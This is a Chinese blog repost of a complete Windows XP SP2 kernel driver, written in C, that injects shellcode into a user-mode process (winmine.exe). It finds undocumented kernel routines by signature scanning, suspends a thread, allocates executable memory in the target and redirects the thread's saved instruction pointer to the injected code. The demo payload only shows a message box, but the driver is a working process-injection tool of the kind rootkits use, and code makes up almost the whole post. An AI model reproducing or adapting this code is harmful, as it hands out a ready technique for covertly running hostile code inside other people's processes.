文档章节

Ring0 注入 Ring3 的一种新方法

simpower
 simpower
发布于 2019/11/18 14:07
字数 1198
阅读 38
收藏 0

3 月,跳不动了?>>>

/***************************************************************************************
*
*    作者: Fypher [nmn714@163.com]
*           http://hi.baidu.com/nmn714
*
*    时间: 2009/12/29
*
*    模块: InjectRing3.c [sys module]
*
*    平台: Windows XP SP2
* 
*    描述:
*           Ring0 注入 Ring3 的一种新方法。
*           挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。
*
*    注意: 
*           本程序主要起示例作用,懒得麻烦,所以有些地方使用了一些不太稳定的做法,
*           比如在枚举进程和模块时直接读链表。改成ZwQueryXXXX会比较好           
*
****************************************************************************************/
#include <ntifs.h>

typedef struct _X86_KTRAP_FRAME {
	ULONG   DbgEbp;
	ULONG   DbgEip;
	ULONG   DbgArgMark;
	ULONG   DbgArgPointer;
	ULONG   TempSegCs;
	ULONG   TempEsp;
	ULONG   Dr0;
	ULONG   Dr1;
	ULONG   Dr2;
	ULONG   Dr3;
	ULONG   Dr6;
	ULONG   Dr7;
	ULONG   SegGs;
	ULONG   SegEs;
	ULONG   SegDs;
	ULONG   Edx;
	ULONG   Ecx;
	ULONG   Eax;
	ULONG   PreviousPreviousMode;
	ULONG   ExceptionList;
	ULONG   SegFs;
	ULONG   Edi;
	ULONG   Esi;
	ULONG   Ebx;
	ULONG   Ebp;
	ULONG   ErrCode;
	ULONG   Eip;
	ULONG   SegCs;
	ULONG   EFlags;
	ULONG   HardwareEsp;
	ULONG   HardwareSegSs;
	ULONG   V86Es;
	ULONG   V86Ds;
	ULONG   V86Fs;
	ULONG   V86Gs;
} X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;

typedef struct _MODULE_ENTRY {
	LIST_ENTRY le_mod;
	ULONG  unknown[4];
	ULONG  base;
	ULONG  driver_start;
	ULONG  unk1;
	UNICODE_STRING driver_Path;
	UNICODE_STRING driver_Name;
	//.......
} MODULE_ENTRY, *PMODULE_ENTRY;

typedef ULONG (*FuncType)(PETHREAD Thread);

FuncType KeSuspendThread = NULL;
FuncType KeResumeThread = NULL;


////////////////////////////////////////////////
//
//  被注入到ring3进程的代码
//
////////////////////////////////////////////////
_declspec (naked) void ShellCode() {
	_asm {
		push eax
		// 弹个MessageBox为例
		push 0
		push 0
		push 0
		push 0
		mov eax, 0x77D66484		// MessageBoxW 的地址,XP SP2
		call eax
		pop eax
		// jmp ds:12345678H, 绝对地址跳转
		_emit 0xEA
		_emit 0x78
		_emit 0x56
		_emit 0x34
		_emit 0x12
		_emit 0x1B
		_emit 0x00
	}
}


///////////////////////////////////////////////////////
//
//  特征码搜索,查找KeSuspendThread和KeResumeThread
//
///////////////////////////////////////////////////////
ULONG FindFunc(PDRIVER_OBJECT DriverObject){
	UNICODE_STRING uniModuleName;
	PMODULE_ENTRY PsLoadedModuleList,pmcurrent;
	ULONG ModuleStart = 0, ModuleEnd = 0;
	ULONG i;
	ULONG suspend1 = 0x8b55ff8b, suspend2 = 0x0cec83ec, suspend3 = 0x758b5653, suspend4 = 0x8e8d5708;		//SP2
	ULONG resume1 = 0x8b55ff8b, resume2 = 0x335651ec , resume3 = 0x8815ffc9 , resume4 = 0x8b804d90;			//SP2

	// 先找ntoskrnl.exe模块,通过ZwQuerySystemInformation来查找更稳定一些
	// 不过本人很讨厌那个繁琐的函数……
	PsLoadedModuleList = pmcurrent = *((PMODULE_ENTRY*)((ULONG)DriverObject + 0x14));

	if (PsLoadedModuleList == NULL){
		return FALSE;
	}

	RtlInitUnicodeString(&uniModuleName,L"ntoskrnl.exe");

	do {
		if ((pmcurrent->unk1 != 0x00000000) && (pmcurrent->driver_Path.Length != 0)){
			if (!RtlCompareUnicodeString(&uniModuleName, &(pmcurrent->driver_Name), FALSE)){
				ModuleStart = pmcurrent->base;
				ModuleEnd = ModuleStart + pmcurrent->unk1;
				break;
			}
		}
		pmcurrent =  (MODULE_ENTRY*)pmcurrent->le_mod.Flink;
	} while((PMODULE_ENTRY)pmcurrent != PsLoadedModuleList);


	if(!ModuleStart || !ModuleEnd) {
		return FALSE;
	}
	
	// 在ntoskrnl.exe中搜索特征码找到KeSuspendThread和KeResumeThread
	for( i = ModuleStart; i <= ModuleEnd; i++) {
		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+12)) ){
			if( (*(PULONG)i == suspend1) &&
				(*(PULONG)(i+4) == suspend2) &&
				(*(PULONG)(i+8) == suspend3) &&
				(*(PULONG)(i+12) == suspend4) )
			{
				KeSuspendThread = (FuncType)i;
				if ( KeResumeThread != NULL )
					return TRUE;
			}
			else if( (*(PULONG)i == resume1) &&
				(*(PULONG)(i+4) == resume2) &&
				(*(PULONG)(i+8) == resume3) &&
				(*(PULONG)(i+12) == resume4) )
			{
				KeResumeThread = (FuncType)i;
				if ( KeSuspendThread != NULL )
					return TRUE;
			}
		}
	}
	return FALSE;
}



/////////////////////////////////////////////////////////////////
////
////  注入ShellCode到线程,将ShellCode拷贝到“飞地”中,
////  比较方便,避免是分配内存和AttachProcess,但是在非
////  Debug的系统模式下,会引发DEP的强烈不满
////
/////////////////////////////////////////////////////////////////
//VOID InjectShellCode(PETHREAD pThread) {
//	ULONG i;
//	PX86_KTRAP_FRAME pTrapFrame;
//	DbgPrint("Inject Start\n");
//	
//	// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
//	__try {
//		KeSuspendThread(pThread);
//	}
//	__except(1) {
//		return;
//	}
//	
//	// PTrapFrame中就是该线程的各个寄存器的值
//	pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134);
//
//	// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
//	for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
//		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
//			if ( *(PULONG)i == 0x12345678 ) {
//				DbgPrint("find modify point\n");
//				*(PULONG)i = pTrapFrame->Eip;
//				break;
//			}
//		}
//	}
//
//	// 拷贝ShellCode到“飞地”(使用内核地址)
//	RtlCopyMemory( (PVOID)0xffdf0800, ShellCode, 0x20 );
//
//	// pTrapFrame->EIP指向“飞地”(使用用户态地址)
//	pTrapFrame->Eip = 0x7ffe0800;
//
//	// 恢复线程执行
//	KeResumeThread(pThread);
//	DbgPrint("Inject End\n");
//}



///////////////////////////////////////////////////////////////
//
//  注入ShellCode到线程,分配内存来拷贝ShellCode
//
///////////////////////////////////////////////////////////////
VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) {
	ULONG i;
	PX86_KTRAP_FRAME pTrapFrame;
	PCLIENT_ID  pCid;
	OBJECT_ATTRIBUTES oa;
	HANDLE hProcess;
	NTSTATUS ntstatus;
	DbgPrint("Inject Start\n");
	
	// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
	__try {
		KeSuspendThread(pThread);
	}
	__except(1) {
		return;
	}
	
	// PTrapFrame中就是该线程的各个寄存器的值
	pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134);

	// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
	for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
			if ( *(PULONG)i == 0x12345678 ) {
				DbgPrint("find modify point\n");
				*(PULONG)i = pTrapFrame->Eip;
				break;
			}
		}
	}

	// 下面的代码是分配空间来放置ShellCode
	// 调用一些相应函数来实现更好,我比较懒,就硬编码了
	InitializeObjectAttributes(&oa,0,0,0,0);
	pCid = (CLIENT_ID*)((ULONG)pThread + 0x1ec);		// Cid 	XP SP2
	ntstatus = ZwOpenProcess( 
		&hProcess, 
		PROCESS_ALL_ACCESS, 
		&oa, 
		pCid 
		);
	if ( NT_SUCCESS(ntstatus) ) {
		PVOID pBuff = NULL;
		SIZE_T size = 0x20;
		ntstatus = NtAllocateVirtualMemory(
			hProcess, 
			&pBuff, 
			0, 
			&size, 
			MEM_RESERVE | MEM_COMMIT,
			PAGE_EXECUTE_READWRITE
			);
		if( NT_SUCCESS(ntstatus) ) {
			KAPC_STATE kapc;
			// 拷贝ShellCode到目标进程中去
			KeStackAttachProcess(pProcess,&kapc);
			RtlCopyMemory(pBuff,ShellCode,size);
			KeUnstackDetachProcess (&kapc);
			// pTrapFrame->Eip指向ShellCode
			pTrapFrame->Eip = (ULONG)pBuff;
		}
		ZwClose(hProcess);
	}
	// 恢复线程执行
	KeResumeThread(pThread);
	DbgPrint("Inject End\n");
}


////////////////////////////////////////////////
//
//  注入ShellCode到进程
//
////////////////////////////////////////////////
VOID Inject(char* strProc, int len) {
	PEPROCESS pProcess;
	PETHREAD pThread;
	PLIST_ENTRY pListHead, pNextEntry;
	PLIST_ENTRY pThListHead, pThNextEntry;


	pProcess = PsGetCurrentProcess();
	pListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x88);		//ActiveProcessLinks
	pNextEntry = pListHead;
	
	// 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些
	// 不过本人很讨厌那个繁琐的函数……
	do {
		pProcess = (PEPROCESS)((ULONG)pNextEntry - 0x88);
		if ( !_strnicmp((char*)pProcess + 0x174, strProc, len) ) {
			DbgPrint("find process\n");
			pThListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x190);		// ThreadListHead, XP SP2
			pThNextEntry = pThListHead->Flink;
			while ( pThNextEntry != pThListHead) {
				// 接着查找符合条件的线程
				UCHAR SuspendCount;
				ULONG CrossThreadFlags;
								
				pThread = (PETHREAD)((ULONG)pThNextEntry - 0x22c);		// ThreadListEntry, XP SP2
				
				SuspendCount = *(PUCHAR)((ULONG)pThread + 0x1b9);
				CrossThreadFlags = *(PULONG)((ULONG)pThread + 0x248);
								
				if( !SuspendCount && !(CrossThreadFlags & 0x13) ) {		// 非Suspend,非退出态,非内核线程
					DbgPrint("find thread\n");
					
					// 注入找到的线程
					InjectShellCode(pThread,pProcess); 
					break;
				}
				pThNextEntry = pThNextEntry->Flink;
			}
			break;
		}
		pNextEntry = pNextEntry->Flink;
	} while(pNextEntry != pListHead);
}



////////////////////////////////////////////////
//
//       驱动卸载历程
//
////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT o){
	DbgPrint("Fypher's ring3injector end!\n");
	return;
}



////////////////////////////////////////////////
//
//       驱动加载历程
//
////////////////////////////////////////////////
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath){
	char* strProc = "winmine.exe";

	DriverObject->DriverUnload=OnUnload;
	DbgPrint("Fypher's ring3injector start!\n");

	if ( !FindFunc(DriverObject) ) {
		DbgPrint("Find KexxxThread failed!\n");
		return STATUS_UNSUCCESSFUL;
	}
	
	Inject(strProc, strlen(strProc));

	return STATUS_SUCCESS;
}

 

本文转载自:https://bbs.pediy.com/thread-104069.htm

simpower
粉丝 29
博文 708
码字总数 53502
作品 0
海淀
程序员
私信 提问
加载中

评论(0)

菜鸟之驱动开发7

驱动是RING0的程序代码,我们Ring3代的程序如果想控制ring0级的功能,那么就需要学会ring0与ring3之间的通信。今天就开始学习驱动与应用程序之间的通信。我们需要在驱动产现一个加法运算,然...

长平狐
2012/08/13
53
0
api hook框架--API HOOK Model

API HOOK框架目前正在开发,api hook框架,是一个用于在ring3级别进行ring3或ring0级别api拦截的统一框架。

欧阳春晖
2015/01/10
1.5K
3
菜鸟之驱动开发3

今天我们接上第二课继续加新功能:读取SSDT。 什么是ssdt? 我不作过多解释,因为我解释不清楚,GOOGLE一下有大把的资料,向大家介绍一篇好文章:http://blog.titilima.com/ssdt.html。我的理...

长平狐
2012/08/13
153
0
BlackHat 2018 解锁上帝模式:威盛X86 CPU中的硬件后门

  前言   在Black Hat 2018大会上,著名的硬件安全专家Christopher Domas展示了他如何找到多款不同型号CPU中可能存在的后门。         Black Hat 2018是安全领域顶尖好手集聚一堂的...

FreeBuf
2018/08/14
0
0
浅谈Linux内核和CPU架构

Linux由用户空间和内核两部分组成,之所以有这两部分构成,我想应该是由于考虑CPU体系结构 嵌入式ARM处理器有七种工作状态,分别是用户模式、快速中断、外部中断、管理模式、数据访问终止模式...

晨曦之光
2012/04/13
962
0

没有更多内容

加载失败,请刷新页面

加载更多

第二天

独立工程就是打成一个war包,war包可以部署到不同的服务器中; 聚合工程至少有一个是war包,去除web后manager聚合工程剩余dao、service、pojo、interface,把service改成war包 main下加入web...

七宝1
42分钟前
19
0
开源:从“复兴”走向“商业化”

在美国版“知乎”Quora上搜“Open Source(开源)”,出来第一条问题是: “Linux的失败真的是因为开源吗?”。其中一个回答给我很多启发: “有些人把安卓和Chrome OS的成功归结于Linux开源...

编辑部的故事
今天
335
0
JavaScript等同于printf / String.Format - JavaScript equivalent to printf/String.Format

问题: I'm looking for a good JavaScript equivalent of the C/PHP printf() or for C#/Java programmers, String.Format() ( IFormatProvider for .NET). 我正在寻找一个等效于C / PHP p......

javail
今天
27
0
什么是Android上的“上下文”? - What is 'Context' on Android?

问题: In Android programming, what exactly is a Context class and what is it used for? 在Android编程中, Context类到底是什么?它的用途是什么? I read about it on the developer......

技术盛宴
今天
26
0
OkHttp配置HTTPS访问+服务器部署

1 概述 OkHttp配置HTTPS访问,核心为以下三个部分: sslSocketFactory() HostnameVerifier X509TrustManager 第一个是ssl套接字工厂,第二个用来验证主机名,第三个是证书信任器管理类.通过OkHtt...

氷泠
今天
26
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部